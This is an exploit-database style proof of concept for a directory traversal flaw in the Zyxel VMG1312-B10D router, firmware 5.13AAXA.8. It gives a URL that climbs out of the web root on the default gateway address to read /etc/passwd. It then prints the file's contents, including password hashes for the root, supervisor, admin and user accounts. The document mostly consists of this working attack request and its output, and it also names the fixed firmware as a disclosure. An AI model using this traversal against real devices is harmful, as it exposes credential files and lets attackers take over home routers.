# Exploit Title: Zyxel VMG1312-B10D 5.13AAXA.8 - Directory Traversal # Date: 2018-11-17 # Exploit Author: numan türle # Vendor Homepage: https://www.zyxel.com/ # Software Link: https://www.zyxel.com/products_services/Wireless-N-VDSL2-4-port-Gateway-with-USB-VMG1312-B10D/ # Tested on: macOS # Fixed firmware: 5.13(AAXA.8)C0 # PoC @modem_gateway = "192.168.1.1" // default address http://@modem_gateway/../../../../../../../../../../../../etc/passwd here are the contents : ############################## contents ############################## nobody:x:99:99:nobody:/nonexistent:/bin/false root:zKtrESdI2DPME:0:0:root:/home/root:/bin/sh supervisor:.t7H3bCRtJ6UY:12:12:supervisor:/home/supervisor:/bin/sh admin:avHcRxJLoXvas:21:21:admin:/home/admin:/bin/sh user:AebeEcyKDnOzI:31:31:user:/home/user:/bin/sh